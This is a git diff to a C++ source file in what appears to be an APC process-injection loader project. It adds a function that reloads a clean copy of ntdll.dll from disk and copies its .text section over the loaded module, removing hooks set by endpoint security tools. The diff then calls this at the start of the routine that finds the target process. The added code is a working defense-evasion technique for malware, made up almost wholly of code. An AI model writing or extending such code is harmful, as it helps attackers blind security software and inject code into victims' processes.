diff --git a/plug/APC-Ijnect Load/APC.cpp b/plug/APC-Ijnect Load/APC.cpp index 5a03702..ad4f38f 100644 --- a/plug/APC-Ijnect Load/APC.cpp +++ b/plug/APC-Ijnect Load/APC.cpp @@ -5,8 +5,43 @@ #pragma comment(lib, "ntdll") +DWORD UNHOOKntdll() +{ + MODULEINFO mi = {}; + HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); + + GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi)); + LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; + HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); + LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); + + PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; + PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); + + for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) + { + PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); + + if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) + { + DWORD oldProtection = 0; + bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); + memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); + isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); + } + } + + CloseHandle(ntdllFile); + CloseHandle(ntdllMapping); + FreeLibrary(ntdllModule); + + return 0; +} + DWORD FindProcessId() { + UNHOOKntdll(); DWORD processId = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);